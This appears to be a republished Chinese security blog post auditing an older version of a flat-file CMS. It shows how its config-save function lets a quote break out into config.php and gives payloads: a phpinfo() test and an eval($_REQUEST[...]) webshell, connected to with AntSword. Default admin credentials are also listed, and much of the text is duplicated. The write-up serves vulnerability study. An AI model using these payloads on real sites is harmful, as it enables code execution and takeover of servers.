Part1国内某CMS代码审计
1前言
这款cms无须安装数据库,内容保存在文本文件中。所以不存在SQL注入漏洞,旧版本的函数过滤不严格,导致储存XSS漏洞和后台提权的发生。目前新版本(v1.32)已经发布,漏洞得到修复,但是互联网上没有关于漏洞的复现文章。
2代码审计
首先在GITEE上拷贝源码,下载到宝塔面板上,无需安装,直接开始战斗!后台地址:
http://你的域名/index.php?Admin-Login
默认账号:admin
默认密码:admin
在这里有文本框,修改网站配置,找到页面相关文件。
在ConfigAction.class.php
文件中找到提交函数:
class ConfigAction extends AdminAction {
public $confile;
public function _init(){
parent::_init();
$this->confile=TEMP_PATH.'config.php';
}
//显示模板
public function index(){
$theme_list=array();
$tplpath=TMPL_PATH;
$dirarr=scandirs($tplpath);
foreach($dirarr as $k=> $file){
if(is_dir($tplpath.$file) && $file!='.' && $file!='..' ){
$theme_list[$k]['dir']=$dirarr[$k];
}
}
$this->assign('themelist',$theme_list);
$this->display();
}
//更新配置
public function update(){
$config = $_POST["con"];
foreach( $config as $k=> $v ){
$config[$k]=trim($config[$k]);
$config[$k]=get_magic($config[$k]);
}
$ajax=array();
if(!preg_match("#http://(.+)/$#",$config['web_url'])){
$ajax['status']=0;
$ajax['info']='网站地址格式不正确';
$this->ajaxReturn($ajax);
}else{
$ajax['status']=1;
}
//替换路由
$config['web_url_route']=array();
$config['web_url_route']['list']=str_replace(array('{id}','{page}','/'),array('(\d+)','(\d+)','\/'),$config['web_url_route_list']);
$config['web_url_route']['list_p']=str_replace(array('{id}','{page}','/'),array('(\d+)','(\d+)','\/'),$config['web_url_route_list_p']);
$config['web_url_route']['show']=str_replace(array('{id}','{page}','/'),array('(\d+)','(\d+)','\/'),$config['web_url_route_show']);
$config['web_url_route']['show_p']=str_replace(array('{id}','{page}','/'),array('(\d+)','(\d+)','\/'),$config['web_url_route_show_p']);
$config['web_seo_name'] = stripslashes($config['web_seo_name']);
$config['web_name'] = stripslashes($config['web_name']);
$config['web_seo_name']=str_replace("script"," ",$config['web_seo_name']);
$config['web_name']=str_replace("script"," ",$config['web_name']);
$config_old = require $this->confile;
$config_new =array_merge($config_old,$config);
ksort($config_new);
arr2file($this->confile,$config_new);
$this->ajaxReturn($ajax);
}
}
$config[$k]=get_magic($config[$k]);
把整个传入的数据利用自定义的函数进行过滤
function get_magic($g){
if(get_magic_quotes_gpc()){
$g = stripslashes($g);
}
return $g;
}
但是由于开发人员疏忽,在
get_magic_quotes_gpc()
检测到未对单引号进行转义的时候进行转义后,在后文又再一次把转义符号剔除。$config['web_seo_name'] = stripslashes($config['web_seo_name']);
把数组中的web_seo_name
的值中的斜杠过滤
然后看一下数据储存的文件config.php
<?php
return array (
'cache_lifetime_channel' => '30',
'cache_lifetime_index' => '10',
'cache_lifetime_view' => '72',
'rewrite_channel' => 'list',
'rewrite_suffix' => 'html',
'rewrite_view' => 'view',
'web_beian' => '',
'web_caching' => '0',
'web_close' => '0',
'web_closecon' => '',
'web_debug' => '0',
'web_default_theme' => 'default',
'web_description' => '',
'web_gzip_open' => '1',
'web_keywords' => '',
'web_name' => '我的网站',
'web_path_depr' => '-',
'web_path_suffix' => 'html',
'web_robot_onnotes' => '1',
'web_seo_name' => '',
'web_tongji' => '',
'web_url' => ' ',
'web_url_model' => '1',
'web_url_route' =>
array (
'list' => 'list\/(\d+)',
'list_p' => 'list\/(\d+)\/(\d+)',
'show' => 'show\/(\d+)',
'show_p' => 'show\/(\d+)\/(\d+)',
),
'web_url_route_list' => 'list/{id}',
'web_url_route_list_p' => 'list/{id}/{page}',
'web_url_route_on' => '1',
'web_url_route_show' => 'show/{id}',
'web_url_route_show_p' => 'show/{id}/{page}',
);
?>
数据文件利用数组的方式储存数据 我们可以闭合它的引号,然后插入恶意代码。但是必须要一次性成功,否则就会导致网站后台不可用,因为
config.php
被引入admin后台文件中,如果报错会导致前端一起报错,无法使用。 我们先根据config.php
构造一个paylaod:',phpinfo(),'
然后就变成这样了,单引号被闭合,导致数组当中被插入一个可执行的PHP语句。
'web_seo_name' => '',phpinfo(),'',
但是有几个注意的地方我要说一下,以免踩坑
-
一次性构造payload,避免破坏环境 -
不要尝试闭合数组,因为前面有renturn关键字,数组被返回后不会执行代码 -
不要在代码后写入分号,因为这是数组,会报错,要写逗号,不影响代码执行
效果:
/Temp/config.php
看见成功执行代码 后台也被覆盖尝试蚁剑链接
写入代码:
',eval($_REQUEST[pass1024]),'
成功链接
3总结
该cms旧版本代码过滤不严格,导致插入木马。漏洞原理比较简单,适合初学者学习。但是有较多注意点,一般是不会碰见在返回的数组中插入木马的例子。
目前该漏洞新版本已修复。检测到未对单引号进行转义的时候进行转义后,在后文又再一次把转义符号剔除。$config['web_seo_name'] = stripslashes($config['web_seo_name']);
把数组中的web_seo_name
的值中的斜杠过滤
然后看一下数据储存的文件config.php
<?php
return array (
'cache_lifetime_channel' => '30',
'cache_lifetime_index' => '10',
'cache_lifetime_view' => '72',
'rewrite_channel' => 'list',
'rewrite_suffix' => 'html',
'rewrite_view' => 'view',
'web_beian' => '',
'web_caching' => '0',
'web_close' => '0',
'web_closecon' => '',
'web_debug' => '0',
'web_default_theme' => 'default',
'web_description' => '',
'web_gzip_open' => '1',
'web_keywords' => '',
'web_name' => '我的网站',
'web_path_depr' => '-',
'web_path_suffix' => 'html',
'web_robot_onnotes' => '1',
'web_seo_name' => '',
'web_tongji' => '',
'web_url' => ' ',
'web_url_model' => '1',
'web_url_route' =>
array (
'list' => 'list\/(\d+)',
'list_p' => 'list\/(\d+)\/(\d+)',
'show' => 'show\/(\d+)',
'show_p' => 'show\/(\d+)\/(\d+)',
),
'web_url_route_list' => 'list/{id}',
'web_url_route_list_p' => 'list/{id}/{page}',
'web_url_route_on' => '1',
'web_url_route_show' => 'show/{id}',
'web_url_route_show_p' => 'show/{id}/{page}',
);
?>
数据文件利用数组的方式储存数据 我们可以闭合它的引号,然后插入恶意代码。但是必须要一次性成功,否则就会导致网站后台不可用,因为config.php被引入admin后台文件中,如果报错会导致前端一起报错,无法使用。 我们先根据config.php构造一个paylaod:
',phpinfo(),'
然后就变成这样了,单引号被闭合,导致数组当中被插入一个可执行的PHP语句。
'web_seo_name' => '',phpinfo(),'',
但是有几个注意的地方我要说一下,以免踩坑
-
一次性构造payload,避免破坏环境 -
不要尝试闭合数组,因为前面有renturn关键字,数组被返回后不会执行代码 -
不要在代码后写入分号,因为这是数组,会报错,要写逗号,不影响代码执行
效果:
/Temp/config.php 看见成功执行代码 后台也被覆盖尝试蚁剑链接
写入代码:
',eval($_REQUEST[pass1024]),'
成功链接
4总结
该cms旧版本代码过滤不严格,导致插入木马。漏洞原理比较简单,适合初学者学习。但是有较多注意点,一般是不会碰见在返回的数组中插入木马的例子。
目前该漏洞新版本已修复。
5写在最后
关于公众号
HackerDo安全专注于收集最新网络安全消息,发布各类漏洞信息以及修复方案,关注各大比赛,及时带来最新动态以及知识教程。我们会不定期分享漏洞PoC以及知识干货,不定期送出福利。
微信交流群
如果失效请在后台回复“粉丝群”获取最新加群方式!
QQ社区群
原文始发于微信公众号(HackerDo安全):国内某CMS提权渗透记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论